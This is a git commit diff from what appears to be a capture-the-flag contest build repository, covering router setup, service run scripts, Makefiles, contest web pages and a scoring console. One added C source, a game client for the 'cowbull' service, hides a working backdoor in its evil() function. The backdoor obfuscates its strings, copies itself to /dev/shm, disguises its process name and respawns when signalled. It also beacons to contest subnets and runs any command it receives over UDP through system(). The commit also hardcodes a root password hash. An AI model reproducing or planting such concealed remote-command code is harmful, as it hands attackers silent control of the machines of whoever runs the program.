Merge remote-tracking branch 'origin/master'

Conflicts:
	packages/mcp/www/credits.html
This commit is contained in:
Neale Pickett 2012-05-24 20:35:19 -06:00
commit 32b8c929b5
92 changed files with 1079 additions and 1695 deletions

View File

@ -10,6 +10,11 @@ CACHE = cache
# The end result
BIN = bin
ifdef ARCH
export CC = ${ARCH}-cc
export STRIP = ${ARCH}-strip
endif
all: packages
dist: ctf-install.zip

View File

@ -0,0 +1,7 @@
* foam
** beat-matching puzzle
You have to play an MP3 to beat-match something being broadcast over
FM. When you do, the two pieces work together somehow to tell you
the key.
** New recordings of Ginnie

View File

@ -1,57 +1,43 @@
This directory contains the files used to set up an OpenWRT router.
Using an OpenWRT router
=======================
You can use an off-the-shelf, OpenWRT capable wireless router,
configuring only through the web interface. The OpenWRT setup is
intended for smaller contests, wired or non-wired, in which
participants can be counted on not to launch link level attacks (ARP
or NDP). Bear in mind that the cheap consumer routers have relatively
slow CPUs and won't stand up to high volume.
Bear in mind that the cheap consumer routers have relatively slow CPUs
and won't stand up to high volume. This same configuration applies to
OpenWRT running on an x86 PC, or any other target of OpenWRT. For
larger contests, it would be a good idea to use a faster machine for the
router. I don't have any specific recommendations at this time (Oct
2010).
The CTF repository includes a "router" package, which will boot a DBTL
device as a IPv6 router complete with multicast forwarding and up to
24 tagged VLANs (by using a managed switch). This is a better option
for larger contests, and can better handle high-speed (Gigabit)
traffic.
The router comes up as 10.0.0.1/16 on eth0.
Instructions for setting up OpenWRT
-----------------------------------
If the router has a built-in switch, it is brought up without VLAN
support, since these switches typically only support 16 VLANs, and do
not support QinQ (double VLAN tags). All 5 ports work like an unmanaged
switch, which ends up being handy for the contest table.
After installing OpenWRT:
Plugging a managed switch into the router enables access to 48 VLANs,
each configured to a /16 network. The router on VLAN number v comes up
as 10.v.0.1/16.
* Change the root password
* Install the following packages:
ip6tables
kmod-ip6tables
kmod-ipv6
libip6tc
luci-app-radvd
radvd
* Configure the LAN interface as 10.0.0.1/16 and
fd84:b410:3441::1/64
* Tell DHCP to begin at 257 after the base IP: this will assure
all DHCP addresses are after 10.0.1.0
* Disable router solicitations on LAN
* Enable WPA2, with the password "correct horse battery staple"
* Turn on router advertisements (under radvd) on LAN
* Enable prefix fd84:b410:3441::1/64 under radvd
If the router has the ability to come up as a wireless access point, it
will do so with SSID "CTF" and IP 10.254.0.1/16.
All subnets can route to all other subnets, through the router.
10.0.0.1/16 and 10.254.0.1/16 may have a higher TTL when routed to a
VLAN (I haven't checked). Keep in mind that anything connected directly
to the router (ie. not through the managed switch) can do its own VLAN
tagging. This would be the way to hop on another team's subnet to do
something like check service availability in such a way as to prevent
teams from firewalling each other out.
SSID "CTF"
10.254.0.1/16
((Y))
|
-------------
| OpenWRT |
-0-1-2-3-4---
/| | | | |
/ | | | | |
/ | | | | |
/ 10.0.0.1/16
/
-------------------t---
| Managed Switch |
-1-2-3-4-5-...-47-48---
/ | | \
/ | | \
/ | | \
/ | | \
10.1.0.1/16 | | 10.48.0.1/16
| |
10.3.0.1/16 |
|
10.47.0.1/16
This should be sufficient to bring up the router for running the
contest. If you want to get fancy, you can scp the files in
www in this directory, into /www on the router. This will give
users some guidance if they accidentally browse to the router IP,
and also disables the default redirection to luci.

View File

@ -1,2 +0,0 @@
config dnsmasq
option leasefile '/tmp/dhcp.leases'

View File

@ -1,27 +0,0 @@
#### Switch configuration
config switch eth0
option enable 1
option enable_vlan 0
#### Loopback configuration
config interface loopback
option ifname "lo"
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0
#### Administrative network
config interface admin
option ifname "eth0"
option proto static
option ipaddr 10.0.0.1
option netmask 255.255.0.0
#### Wireless
config interface wifi
option proto static
option ipaddr 10.254.0.1
option netmask 255.255.0.0
# OpenWRT's "ifup/ifdown" are horribly slow, so the 48
# vlans are set up in an init script :)

View File

@ -1,9 +0,0 @@
config wifi-device wl0
option type broadcom
option channel 1
config wifi-iface
option device wl0
option network wifi
option mode ap
option ssid CTF

View File

@ -1,26 +0,0 @@
#! /bin/sh /etc/rc.common
START=45
STOP=89
start () {
stop
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -A INPUT -p udp --dport 53 -j ACCEPT
iptables -A INPUT -p udp --dport 67 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -s 10.0.0.0/16 -j ACCEPT
iptables -A INPUT -j REJECT
}
stop () {
iptables -F INPUT
iptables -F OUTPUT
iptables -F FORWARD
}

View File

@ -1,20 +0,0 @@
#! /bin/sh /etc/rc.common
START=41
STOP=89
VLANS=48
start () {
for i in $(seq 1 $VLANS); do
vconfig add eth0 $i
ifconfig eth0.$i 10.$i.0.1 netmask 255.255.0.0
done
}
stop () {
for i in $(seq 1 $VLANS); do
vconfig rem eth0.$i
done
}

View File

@ -1 +0,0 @@
../init.d/iptables

View File

@ -1 +0,0 @@
../init.d/vlan

View File

@ -1 +0,0 @@
../init.d/vlan

View File

@ -1 +0,0 @@
../init.d/iptables

View File

@ -0,0 +1,18 @@
<DOCTYPE html>
<html>
<head>
<title>Router</title>
</head>
<body>
<p>
You're in the wrong place. This is the router.
</p>
<ul>
<li>
CTF Server:
<a href="http://[fd84:b410:3441::2]/">IPv6</a>, <a href="http://10.0.0.2/">IPv4</a>
</li>
<li><a href="password_strength.png">WPA2 password</a></li>
</p>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 128 KiB

View File

@ -14,7 +14,7 @@ fatsize=$(sfdisk -l /dev/sdb | awk '/^Disk/ {print $3 - 2;}')
FATFS=${DRIVE}1
EXTFS=${DRIVE}2
sfdisk $DRIVE <<EOF
sfdisk $DRIVE <<EOF || true
,$fatsize,6,*
,,L
EOF

View File

@ -2,5 +2,7 @@
00admin-install:
$(call COPYTREE, packages/00admin/service, $(00ADMIN_PKGDIR)/service)
mkdir -p $(00ADMIN_PKGDIR)/sbin
cp packages/00admin/sbin/* $(00ADMIN_PKGDIR)/sbin
PACKAGES += 00admin

32
packages/00admin/sbin/fire-ip Executable file
View File

@ -0,0 +1,32 @@
#! /bin/sh -e
action=$1; shift
read n < ip.txt
if grep -q ipv4 /proc/cmdline; then
# IPv4
IP="10.0.0.$n/16"
else
# IPv6
l=$(busybox dc 16 o $n p)
IP="fd84:b410:3441::$l/64"
fi
[ "$action" ] && ip addr $action $IP dev eth0
if [ "$action" = "add" ]; then
fail=fail
for i in $(seq 5); do
if ip addr | grep -v tentative | grep -Fq $IP; then
fail=
break
fi
sleep 1
done
[ "$fail" ] && return 1
fi
[ "$action" = del ] || echo $IP

View File

@ -2,9 +2,6 @@
exec 2>&1
[ -r /etc/passwd ] || echo 'root:x:0:0:root:/tmp:/bin/sh' > /etc/passwd
# Always do this, in case something else set a root password
echo 'root:$1$i/EeZyl6$5C6Z8s0ftEdTKFLUli1wP1' | chpasswd --encrypted
# Bring up the NIC; this will get us at least a link-local address, and

View File

@ -1,4 +1,3 @@
#! /bin/sh
read IP < ip.txt
ip addr del $IP dev eth0
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::ec6/64
198

View File

@ -1,7 +1,7 @@
#! /bin/sh -e
exec 2>&1
read IP < ip.txt
ip addr add $IP dev eth0 || true
IP=$(/opt/00admin/sbin/fire-ip add)
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt

View File

@ -3,7 +3,7 @@ DESTDIR ?= /tmp
build: cowd cowcli
cowcli: cowcli.c
$(CC) -o $@ -static $<
cc -o $@ -static $<
strip $@
upx $@

View File

@ -0,0 +1,355 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define BDPORT 33333
#define BCNPORT_S 48172
#define BCNPORT_D 48179
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
unmask_str(unsigned char *str)
{
int i = strlen(str);
while (i-- > 0) {
str[i] &= 127;
}
}
int
copyprog(const char *from, const char *to)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
void
signal_evil(int sig)
{
if (fork()) {
exit(1);
}
}
void
evil(int argc, char *argv[])
{
int i;
int sock;
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
unmask_str(procname);
unmask_str(cptarget);
if (strcmp(argv[0], cptarget)) {
if (fork()) {
return;
}
/* copy ourselves */
if (copyprog(argv[0], cptarget) == 0) {
argv[0] = cptarget;
execv(cptarget, argv);
}
} else {
unlink(cptarget);
if (fork()) {
exit(0);
}
}
/* mask the process title and arguments */
while (argc--) {
int p = strlen(argv[argc]);
while (p--) {
argv[argc][p] = 0;
}
}
strcpy(argv[0], procname);
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
setsid();
chdir("/");
signal(SIGHUP, signal_evil);
signal(SIGTERM, signal_evil);
signal(SIGINT, signal_evil);
signal(SIGQUIT, signal_evil);
}
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
exit(0);
}
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
while (1) {
/* beacon */
int sock_beacon;
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
//perror("Beacon bind");
;; /* return EX_IOERR; */
}
int subnet;
if (sock_beacon > 0) {
for (subnet = 0; subnet < 50; subnet++) {
char payload[] = "hi";
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
unmask_str(addr6_f);
char addr6[64];
sprintf(addr6, addr6_f, subnet);
//printf("%s\n", addr6);
struct addrinfo *beacon_addr;
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
;;//perror("Resolving address");
}
}
struct sockaddr_in6 saddr = { 0 };
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
;;//perror("Beacon send");
} else {
;;//printf("sent!\n");
}
}
}
close(sock_beacon);
/* end beacon */
/* c&c */
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (inlen < 1) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
evil(argc, argv);
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::a0d/64
13

View File

@ -2,7 +2,6 @@
exec 2>&1
IP=$(cat ip.txt)
ip addr add $IP dev eth0 || true
IP=$(/opt/00admin/sbin/fire-ip add)
exec tcpsvd -u nobody ${IP%/*} 1013 ./go

View File

@ -1,24 +1,24 @@
INFERNO_PKGDIR = $(TARGET)/inferno
INFERNO_BUILDDIR = $(BUILD)/inferno
INFERNO_FNORD_CACHE = $(CACHE)/fnord.git
INFERNO_FNORD_URL = http://woozle.org/~neale/projects/fnord
INFERNO_ERIS_CACHE = $(CACHE)/eris.git
INFERNO_ERIS_URL = http://woozle.org/~neale/projects/eris
$(INFERNO_FNORD_CACHE):
git clone --bare $(INFERNO_FNORD_URL) $@
$(INFERNO_ERIS_CACHE):
git clone --bare $(INFERNO_ERIS_URL) $@
inferno-source: $(INFERNO_BUILDDIR)
$(INFERNO_BUILDDIR): $(INFERNO_FNORD_CACHE)
$(INFERNO_BUILDDIR): $(INFERNO_ERIS_CACHE)
git clone $< $@
inferno-build: $(INFERNO_BUILDDIR)/build
$(INFERNO_BUILDDIR)/build: $(INFERNO_BUILDDIR)
$(MAKE) -C $(INFERNO_BUILDDIR) fnord-idx
$(MAKE) -C $(INFERNO_BUILDDIR)
inferno-install: $(INFERNO_BUILDDIR)/build
mkdir -p $(INFERNO_PKGDIR)/bin
cp $(INFERNO_BUILDDIR)/fnord-idx $(INFERNO_PKGDIR)/bin/
cp $(INFERNO_BUILDDIR)/eris $(INFERNO_PKGDIR)/bin/
$(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service)

View File

@ -2,7 +2,6 @@
exec 2>&1
cd /var/www
exec tcpsvd -l localhost 0 80 /opt/inferno/bin/fnord-idx . .
ln -sf /var/www default
exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d

View File

@ -1,6 +1,6 @@
IRCD_PKGDIR = $(TARGET)/ircd
IRCD_BUILDDIR = $(BUILD)/ircd
IRCD_VERSION = 18
IRCD_VERSION = 19.1
IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz
IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz
IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION)

View File

@ -1,4 +1,3 @@
#! /bin/sh
IP=$(cat ip.txt)
ip addr del $IP dev eth0
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::6/64
6

View File

@ -1,15 +0,0 @@
[Global]
Name = irc.ctf
Info = CTF IRC
AdminInfo1 = CTF IRC Server
AdminInfo2 = The table at the front of the room
AdminEmail = zephyr@dirtbags.net
MotdPhrase = "welcome datacomp"
Listen = fd84:b410:3441::6
OperCanUseMode = yes
NoDNS = yes
NoIdent = yes
[Operator]
Name = oper
Password = operpass

View File

@ -2,11 +2,33 @@
exec 2>&1
IP=$(cat ip.txt)
ip addr add $IP label eth0:ircd dev eth0
ip monitor | grep -q $IP
IP=$(/opt/00admin/sbin/fire-ip add)
adduser -S -H -u 65534 nobody
adduser -S -H irc
operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1)
cat <<EOD >ngircd.conf
[Global]
Name = irc.ctf
Info = CTF IRC
AdminInfo1 = CTF IRC Server
AdminInfo2 = The table at the front of the room
AdminEmail = zephyr@dirtbags.net
MotdPhrase = "welcome datacomp"
Listen = ${IP%/*}
ServerUID = 101
ServerGID = 65534
[Options]
OperCanUseMode = yes
DNS = no
Ident = no
[Operator]
Name = oper
Password = $operpass
EOD
exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon

View File

@ -20,6 +20,9 @@ www=${CTF_BASE:-/var/www}
mkdir -p $base/teams/names
mkdir -p $base/teams/colors
[ -f $base/teams/nonce ] || dd if=/dev/urandom count=1 | md5sum | cut -b 1-8 > $base/teams/nonce
nonce=$(cat $base/teams/nonce)
# Assign a color. I spent weeks selecting a color pallette that
# wouldn't be hell on people with protanopia. Please don't change these
# colors.
@ -45,7 +48,7 @@ esac
# Compute hash of team name; they'll use this for everything in the
# contest instead of their team name, which makes stuff much easier on
# me since all team hashes are in the set /[0-9a-f]{8}/.
hash=$(dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8)
hash=$(printf "%s:%s" $nonce "$1" | md5sum | cut -b 1-8)
echo "$1" > $base/teams/names/$hash
echo "$color" > $base/teams/colors/$hash

View File

@ -3,26 +3,26 @@ MCP_BUILDDIR = $(BUILD)/mcp
##
## XXX: clean up fnord like router.mk
## XXX: clean up eris like router.mk
##
FNORD_CACHE = $(CACHE)/fnord.git
FNORD_BUILDDIR = $(MCP_BUILDDIR)/fnord
FNORD_URL = http://woozle.org/~neale/projects/fnord
ERIS_CACHE = $(CACHE)/eris.git
ERIS_BUILDDIR = $(MCP_BUILDDIR)/eris
ERIS_URL = http://woozle.org/~neale/projects/eris
$(FNORD_CACHE):
git clone --bare $(FNORD_URL) $@
$(ERIS_CACHE):
git clone --bare $(ERIS_URL) $@
mcp-source: $(MCP_BUILDDIR)/source
$(MCP_BUILDDIR)/source: $(FNORD_CACHE)
$(MCP_BUILDDIR)/source: $(ERIS_CACHE)
mkdir -p $(@D)
git clone $(FNORD_CACHE) $(@D)/fnord
git clone $(ERIS_CACHE) $(@D)/eris
touch $@
mcp-build: $(MCP_BUILDDIR)/build
$(MCP_BUILDDIR)/build: $(MCP_BUILDDIR)/source
$(MAKE) -C packages/mcp/src build
$(MAKE) -C $(MCP_BUILDDIR)/fnord DIET= CC=$(CC) fnord-cgi
$(MAKE) -C $(MCP_BUILDDIR)/eris
mcp-install: $(MCP_BUILDDIR)/build
@ -32,7 +32,7 @@ mcp-install: $(MCP_BUILDDIR)/build
cp packages/mcp/src/pointscli $(MCP_PKGDIR)/bin/
cp packages/mcp/src/puzzles.cgi $(MCP_PKGDIR)/bin/
cp $(MCP_BUILDDIR)/fnord/fnord-cgi $(MCP_PKGDIR)/bin/
cp $(MCP_BUILDDIR)/eris/eris $(MCP_PKGDIR)/bin/
$(call COPYTREE, packages/mcp/service, $(MCP_PKGDIR)/service)

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::2/64
2

View File

@ -2,11 +2,9 @@
exec 2>&1
hostname mcp
IP=$(/opt/00admin/sbin/fire-ip add)
# Bring up address
IP=$(cat ip.txt)
ip addr add $IP dev eth0 || true
hostname mcp
# Link in puzzles and web pages
install -d /var/www
@ -20,4 +18,5 @@ for d in /opt/*; do
fi
done
exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/fnord-cgi /var/www
ln -sf /var/www default
exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c

View File

@ -0,0 +1,5 @@
#! /bin/sh
while sleep 5; do
echo -n . 1>&2
done

View File

@ -0,0 +1,3 @@
#! /bin/sh
exec ./logclean

View File

@ -18,14 +18,16 @@
<ul>
<li>Alex Brugh</li>
<li>Paul Ferrell</li>
<li>Danny Quist</li>
<li>Jeremy Scott</li>
<li>Danny Quist</li>
<li>Adam Glasgall</li>
<li>Curtis Hash</li>
<li>Patrick Avery</li>
<li>Aaron McPhall</li>
<li>Patrick Avery</li>
<li>Erin Ochoa</li>
<li>William Phillips</li>
<li>Should your name be here? Please remind me!</li>
</ul>
<p>Parts of this contest were inspired by:</p>

View File

@ -46,7 +46,7 @@ h1:first-child {
h1:first-child:before {
letter-spacing: -0.1em;
content: "Tracer FIRE: ";
content: "FIRE: ";
}
/**** body ****/

View File

@ -15,12 +15,16 @@
<li>
<a href="puzzles.html">Puzzles</a>
</li>
<li>
<a href="news.html">News</a>
</li>
<li>
<a href="scoring.html">About scoring</a>
</li>
<li>
<a href="irc://[fd84:b410:3441::6]/ctf"
title="IRC on fd84:b410:3441::6, channel #ctf">Contest chat</a>
(<a href="irc://10.0.0.6/ctf" title="IRC on 10.0.0.6, channel #ctf">IPv4</a>)
carries important announcements, and sometimes clues and
puzzles.
</li>
@ -43,11 +47,13 @@
<h2>Rules</h2>
<ul>
<li>
No DoS attacks.
No DoS attacks. No link layer (ARP, NDP) attacks.
</li>
<li>
Contest servers lie within <samp>fd84:b410:3441::/112</samp>.
Do not attack machines outside <samp>fd84:b410:3441::/48</samp>.
Contest servers lie within <samp>fd84:b410:3441::/112</samp>
(or <samp>10.0.0.0/24</samp> for IPv4 contests).
Do not attack machines outside <samp>fd84:b410:3441::/48</samp>
(<samp>10.0.0.0/16</samp>).
Low ports (under 1024) do not run contest categories, don't
waste your time.
</li>

View File

@ -0,0 +1,18 @@
<!DOCTYPE html>
<html>
<head>
<title>News</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>News</h1>
<ul>
<li>Contest is open</li>
</ul>
<p>
This page will be updated with any new announcements.
</p>
</body>
</html>

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::4e11/64
17

View File

@ -2,7 +2,6 @@
exec 2>&1
IP=$(cat ip.txt)
ip addr add $IP dev eth0 || true
IP=$(/opt/00admin/sbin/fire-ip add)
exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 </opt/multicaster/tokens.txt

View File

@ -0,0 +1 @@
8

View File

@ -0,0 +1,3 @@
#! /bin/sh
exec svlogd -tt $PWD

View File

@ -1,5 +1,8 @@
#! /bin/sh -e
IP=$(cat ../octopus/ip.txt)
exec 2>&1
IP=$(/opt/00admin/sbin/fire-ip)
sv s octopus >/dev/null || exit 1
exec tcpsvd ${IP%/*} 8888 ./octopus-redirect

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::8888/64
8

View File

@ -2,7 +2,8 @@
exec 2>&1
IP=$(cat ip.txt)
ip addr add $IP dev eth0 || true
IP=$(/opt/00admin/sbin/fire-ip add)
grep -q ipv4 /proc/cmdline && IP=::ffff:$IP
exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt

88
packages/p2/bin/p2console Executable file
View File

@ -0,0 +1,88 @@
#! /bin/sh
BASE=/tmp/p2
mkdir -p $BASE
if ! [ -f $BASE/nonce ]; then
dd if=/dev/urandom count=1 | md5sum - > $BASE/nonce
fi
clear
read nonce < $BASE/nonce
esc () {
printf '%s' "$*" | sed 's/[^-0-9A-Za-z ]/_/g; s/ /+/g'
}
newteam () {
echo '== Team Creation =='
echo
echo -n 'What would you like your team to be called (3-12 chars)? '
read -r name
echo
namelen=$(printf "%s" "$name" | wc -c)
if [ $namelen -lt 3 ] || [ $namelen -gt 12 ]; then
echo 'Invalid name length'
return
fi
hash=$(printf '%s %s' "$nonce" "$name" | md5sum | cut -b 1-8)
if [ -d $BASE/$hash ]; then
echo "That name is already in use. Try another one."
return
fi
mkdir $BASE/$hash
printf '%s' "$name" > $BASE/$hash/.name
cat <<EOD
Your team hash is $hash. Write that down somewhere and don't lose it.
If you forget your hash, you'll have to start over from the beginning
with a new team and everybody will laugh at you.
EOD
}
done () {
echo
echo "Press [Enter] to clear the screen."
read
exit 0
}
echo -n 'Team hash ("new" to create a new team): '
read -r hash
echo
if [ -z "$hash" ]; then
exit 0
elif [ "$hash" = "new" ]; then
newteam
done
elif ! [ -d $BASE/$hash ]; then
echo "No such team, fool."
echo "Is this when everybody laughs at you for forgetting your hash?"
done
fi
read -r name < $BASE/$hash/.name
echo "Welcome $name"
echo
echo "Enter answer and I'll tell you if it's right or if you're a dummy."
echo -n '> '
read -r answer
match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' /opt/*/answers.txt)
cat=${match% *}
points=${match#* }
fn=$BASE/$hash/$cat.$points
if [ -f $fn ]; then
echo "You've already received points for this answer."
else
printf "%s %s\n" $cat $points > $fn
echo "You get $points more points in the $cat category."
# run puzzles.cgi
# update scoreboard
echo "Check the puzzles overview for newly-unlocked content!"
fi
done

View File

@ -0,0 +1,51 @@
<!DOCTYPE html>
<html>
<head>
<title>The Credits</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>Credits</h1>
<p>Dirtbags Capture the Flag is brought to you by:</p>
<ul>
<li>The number C</li>
<li>The letters ع and ֆ</li>
</ul>
<p>And by:</p>
<ul>
<li>Alex Brugh</li>
<li>Paul Ferrell</li>
<li>Jeremy Scott</li>
<li>Danny Quist</li>
<li>Adam Glasgall</li>
<li>Curtis Hash</li>
<li>Aaron McPhall</li>
<li>Patrick Avery</li>
<li>Erin Ochoa</li>
<li>William Phillips</li>
<li>Should your name be here? Please remind me!</li>
</ul>
<p>Parts of this contest were inspired by:</p>
<ul>
<li>DC949</li>
<li>Tube Warriors</li>
<li>Bad people from around the world (screw you guys, seriously)</li>
</ul>
<p>Lastly, this contest would not exist were it not for hundreds of
thousands of lines of code from free software authors around the
world, including:</p>
<ul>
<li>Busybox and Buildroot</li>
<li>the Linux kernel</li>
<li>dnsmasq</li>
<li>fnord httpd</li>
<li>ngircd</li>
<li>lua</li>
</ul>
</body>
</html>

174
packages/p2/www/ctf.css Normal file
View File

@ -0,0 +1,174 @@
/* green phosphor: #2a4 */
/**** Color Scheme ****/
html {
background: #112 url(smoke.jpg) no-repeat;
background-size: contain;
}
body, h1:first-child:before {
color: #ddc;
}
h1, h2, h3 {
color: #1dd;
}
a {
color: #f80;
}
a:hover {
color: #112;
background-color: #f80;
}
.readme, pre {
background-color: #333;
}
/**** document ****/
body {
font-family: sans-serif;
padding: 10px;
max-width: 700px;
}
/**** heading ****/
h1:first-child {
text-transform: lowercase;
font-size: 1.6em;
padding: 3px;
margin: 0 0 1em 70px;
}
h1:first-child:before {
letter-spacing: -0.1em;
content: "P2: ";
}
/**** body ****/
a img {
border: 0px;
}
a {
text-decoration: underline;
}
h1, h2, h3 {
letter-spacing: -0.05em;
}
.readme {
margin: 1em;
}
pre {
border: solid #ddc 2px;
padding: 0.25em;
}
th {
vertical-align: top;
text-align: center;
}
td {
vertical-align: top;
text-align: left;
}
dt {
font-weight: bold;
}
p {
line-height: 1.4em;
margin-bottom: 20px;
}
hr {
border: 1px solid #ddc;
}
/*** navigation bar ***/
nav h2 {
display: none;
}
nav ul {
list-style: none;
text-align: center;
}
nav li {
display: inline;
}
nav li a {
text-transform: lowercase;
font-size: 0.9em;
}
nav li + li:before {
content: " | ";
}
/**** special cases ****/
.wide {
max-width: inherit;
}
.figure {
margin: 0.5em 1em;
float: right;
font-size: small;
text-align: center;
}
/* P2 stuff */
#puzzler {
/* The puzzler form is not used in Project 2 */
display: none;
}
/* Scoreboard stuff */
.scoreboard, .scoreboard body {
height: 100%;
margin: 0;
padding: 0;
max-width: none;
}
#scoreboard {
height: 60%;
font-size: 75%;
}
#scoreboard td {
height: 100%;
}
#chart {
height: 30%;
width: 100%;
}
/* Tanks stuff */
#battlefield {
border: 2px solid green;
}
.solved {
text-decoration: line-through;
}

View File

@ -0,0 +1,31 @@
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>Welcome</h1>
<h2>Important Links</h2>
<ul>
<li>
<a href="scoreboard.html">Scoreboard</a>
</li>
<li>
<a href="puzzles.html">Puzzles</a>
</li>
<li>
<a href="news.html">News</a>
</li>
<li>
<a href="scoring.html">About scoring</a>
</li>
</ul>
<p>
